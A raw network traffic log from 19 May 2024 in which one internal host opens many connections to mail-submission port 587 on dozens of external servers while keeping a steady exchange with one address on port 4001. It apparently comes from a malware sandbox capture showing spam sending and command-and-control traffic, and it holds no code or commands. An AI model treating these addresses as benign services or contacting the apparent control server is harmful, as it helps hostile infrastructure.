May 19, 2024 17:27:54.598179102 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:54.598228931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.598242044 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:54.599251986 CEST	49998	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:54.603581905 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.608510017 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.614923000 CEST	50073	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:54.615048885 CEST	50007	587	192.168.2.4	164.90.197.79
May 19, 2024 17:27:54.620393038 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:54.620444059 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.646316051 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:54.659691095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.660079002 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:54.677527905 CEST	587	49959	193.122.179.25	192.168.2.4
May 19, 2024 17:27:54.678286076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.682616949 CEST	587	50011	164.90.203.106	192.168.2.4
May 19, 2024 17:27:54.682821989 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.687329054 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:54.692456961 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.692509890 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:54.692878008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.698245049 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.724422932 CEST	50011	587	192.168.2.4	164.90.203.106
May 19, 2024 17:27:54.725215912 CEST	49959	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:54.729873896 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.739964008 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:54.751493931 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:54.761394978 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:54.761648893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.766168118 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:54.766391039 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.771246910 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:27:54.771737099 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:54.771950960 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.776038885 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.781145096 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.802407980 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:54.807934999 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.807986975 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.808001995 CEST	587	49848	101.0.69.102	192.168.2.4
May 19, 2024 17:27:54.808417082 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:54.808417082 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.808444977 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:54.813601971 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:54.818380117 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:54.818649054 CEST	587	49970	193.81.82.81	192.168.2.4
May 19, 2024 17:27:54.818993092 CEST	49970	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:54.818994045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.818994045 CEST	49970	587	192.168.2.4	193.81.82.81
May 19, 2024 17:27:54.823873997 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:54.824078083 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.828697920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.833868027 CEST	587	49970	193.81.82.81	192.168.2.4
May 19, 2024 17:27:54.849246025 CEST	49848	587	192.168.2.4	101.0.69.102
May 19, 2024 17:27:54.861558914 CEST	587	50039	142.93.237.125	192.168.2.4
May 19, 2024 17:27:54.861984968 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.861989021 CEST	50039	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:54.861989975 CEST	50039	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:54.867352962 CEST	587	50045	142.93.237.125	192.168.2.4
May 19, 2024 17:27:54.867422104 CEST	50045	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:54.867464066 CEST	50045	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:54.867486954 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.872292042 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.876854897 CEST	587	50039	142.93.237.125	192.168.2.4
May 19, 2024 17:27:54.925386906 CEST	587	50045	142.93.237.125	192.168.2.4
May 19, 2024 17:27:54.925431013 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.966856003 CEST	587	50055	193.201.172.98	192.168.2.4
May 19, 2024 17:27:54.967116117 CEST	50055	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:54.967116117 CEST	50055	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:54.967248917 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:54.971915007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:54.972210884 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:55.017374992 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:55.017484903 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.022102118 CEST	587	50055	193.201.172.98	192.168.2.4
May 19, 2024 17:27:55.022135019 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:55.022164106 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.068048954 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:55.069036961 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:55.069077015 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.069142103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.081090927 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:55.081187963 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.114897013 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:55.127924919 CEST	587	50080	212.85.98.214	192.168.2.4
May 19, 2024 17:27:55.127974987 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.127990007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.128489017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.128489971 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.128714085 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:55.129369974 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.130523920 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:55.133801937 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:55.133857012 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:55.134109974 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:55.134109974 CEST	49807	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:55.134155035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.134155035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.138853073 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.143870115 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.143923998 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.144114971 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.144258022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.149138927 CEST	587	49807	194.19.134.66	192.168.2.4
May 19, 2024 17:27:55.149169922 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.171179056 CEST	587	50002	103.82.242.210	192.168.2.4
May 19, 2024 17:27:55.171403885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.176496029 CEST	587	49972	194.153.145.104	192.168.2.4
May 19, 2024 17:27:55.176685095 CEST	49972	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:55.176686049 CEST	49972	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:55.176748037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.177371979 CEST	50080	587	192.168.2.4	212.85.98.214
May 19, 2024 17:27:55.181852102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.186917067 CEST	587	49972	194.153.145.104	192.168.2.4
May 19, 2024 17:27:55.224278927 CEST	50002	587	192.168.2.4	103.82.242.210
May 19, 2024 17:27:55.229181051 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.229518890 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.230364084 CEST	50085	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:55.234460115 CEST	587	50050	120.50.131.112	192.168.2.4
May 19, 2024 17:27:55.234533072 CEST	50050	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:55.234616995 CEST	50050	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:55.234616995 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.239465952 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.241193056 CEST	587	50085	142.93.237.125	192.168.2.4
May 19, 2024 17:27:55.241228104 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.241324902 CEST	50085	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:55.241332054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.241378069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.241378069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.244313955 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.244373083 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:55.244512081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.244513035 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.249213934 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.249316931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.249316931 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.254235983 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.254272938 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.254287958 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:55.254308939 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.254360914 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:55.254467010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.254467964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.254467964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.254467964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.260808945 CEST	587	50050	120.50.131.112	192.168.2.4
May 19, 2024 17:27:55.260838985 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.260867119 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.265563965 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.265593052 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.306091070 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.306123018 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.306269884 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.306317091 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:55.306394100 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.306418896 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:55.306526899 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:55.306595087 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.306596041 CEST	49849	587	192.168.2.4	107.180.41.245
May 19, 2024 17:27:55.306670904 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:55.306682110 CEST	49825	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:55.306752920 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:55.306770086 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.306950092 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:55.311110973 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.313452959 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:55.313498974 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:55.313568115 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.313610077 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:55.313657045 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:55.313776016 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:55.316572905 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.316603899 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:55.316632032 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.316659927 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:55.316688061 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:55.316714048 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.316740990 CEST	587	49849	107.180.41.245	192.168.2.4
May 19, 2024 17:27:55.316767931 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:55.316795111 CEST	587	49825	142.93.237.125	192.168.2.4
May 19, 2024 17:27:55.321475983 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.321506023 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:55.321532965 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:55.369249105 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:55.369292021 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:55.369322062 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:55.369349957 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:55.369385004 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:55.369415045 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.369446993 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.369549990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.369589090 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:55.369873047 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:55.369914055 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:55.369951010 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.370075941 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:55.370172977 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:55.370310068 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:55.371205091 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:55.371599913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.371613979 CEST	50087	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:55.371738911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.395998955 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:55.397340059 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.401493073 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:55.406418085 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:55.406517029 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:55.406547070 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.406577110 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:55.406605959 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:55.406634092 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:55.406666994 CEST	587	50086	41.193.157.227	192.168.2.4
May 19, 2024 17:27:55.406697035 CEST	587	50087	194.153.145.104	192.168.2.4
May 19, 2024 17:27:55.406725883 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.406785965 CEST	50087	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:55.406872988 CEST	50086	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:55.407049894 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.407051086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.411796093 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.414901018 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.415169001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.422183037 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.422235012 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.422602892 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.422709942 CEST	49787	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.422709942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.422709942 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.427017927 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.432895899 CEST	587	49787	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.444205999 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:55.449435949 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.449489117 CEST	587	50075	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.449521065 CEST	587	50075	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.449731112 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.449779034 CEST	50075	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.449779987 CEST	50075	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.449836016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.458475113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.458475113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.463088036 CEST	587	50075	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.467964888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.481616020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.481657028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.481688023 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.481719017 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.481746912 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.481956959 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.481956005 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:55.482104063 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.482104063 CEST	49797	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:55.482374907 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.482424021 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.482466936 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:55.482517958 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.482598066 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.482599020 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.482690096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.482753992 CEST	49765	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.483324051 CEST	49831	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:55.483499050 CEST	50088	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:55.484322071 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:55.484643936 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:55.484787941 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:55.484837055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.484837055 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.485608101 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:55.485608101 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.485652924 CEST	50090	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:55.487045050 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:55.487081051 CEST	587	49986	209.67.129.100	192.168.2.4
May 19, 2024 17:27:55.487113953 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.487155914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.487155914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.487195969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.487277985 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.487279892 CEST	49986	587	192.168.2.4	209.67.129.100
May 19, 2024 17:27:55.487660885 CEST	49764	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.487801075 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.490266085 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.490334034 CEST	49990	587	192.168.2.4	185.53.177.51
May 19, 2024 17:27:55.492048025 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:55.492078066 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.492130995 CEST	587	49797	64.59.136.142	192.168.2.4
May 19, 2024 17:27:55.492160082 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.492187977 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.492216110 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.492244959 CEST	587	49765	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.492273092 CEST	587	49831	142.93.237.125	192.168.2.4
May 19, 2024 17:27:55.492304087 CEST	587	50088	52.223.34.187	192.168.2.4
May 19, 2024 17:27:55.492332935 CEST	587	50089	41.193.157.227	192.168.2.4
May 19, 2024 17:27:55.492362022 CEST	587	49963	83.223.113.41	192.168.2.4
May 19, 2024 17:27:55.492463112 CEST	50089	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:55.492516994 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.492567062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.492568970 CEST	50088	587	192.168.2.4	52.223.34.187
May 19, 2024 17:27:55.492593050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.511178970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.511231899 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:55.511261940 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.511296988 CEST	587	50090	3.125.131.179	192.168.2.4
May 19, 2024 17:27:55.511326075 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.511354923 CEST	587	49764	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.511385918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.511482954 CEST	587	50026	129.159.94.43	192.168.2.4
May 19, 2024 17:27:55.511554956 CEST	50090	587	192.168.2.4	3.125.131.179
May 19, 2024 17:27:55.511729002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.511729002 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.511795044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.511817932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.512096882 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:27:55.512978077 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.513211012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.513211012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.514050961 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.514087915 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.514106989 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.514267921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.514267921 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.514269114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.514269114 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.516933918 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.516993999 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.517029047 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.517030001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.518419027 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.518467903 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.518503904 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.518541098 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.518624067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.518624067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.518624067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.518624067 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.521662951 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.522190094 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.522236109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.522236109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.523375988 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.523483992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.523489952 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:55.523519039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.523552895 CEST	587	49990	185.53.177.51	192.168.2.4
May 19, 2024 17:27:55.523580074 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.523715019 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.523716927 CEST	49990	587	192.168.2.4	185.53.177.51
May 19, 2024 17:27:55.523776054 CEST	49734	4001	192.168.2.4	212.162.153.199
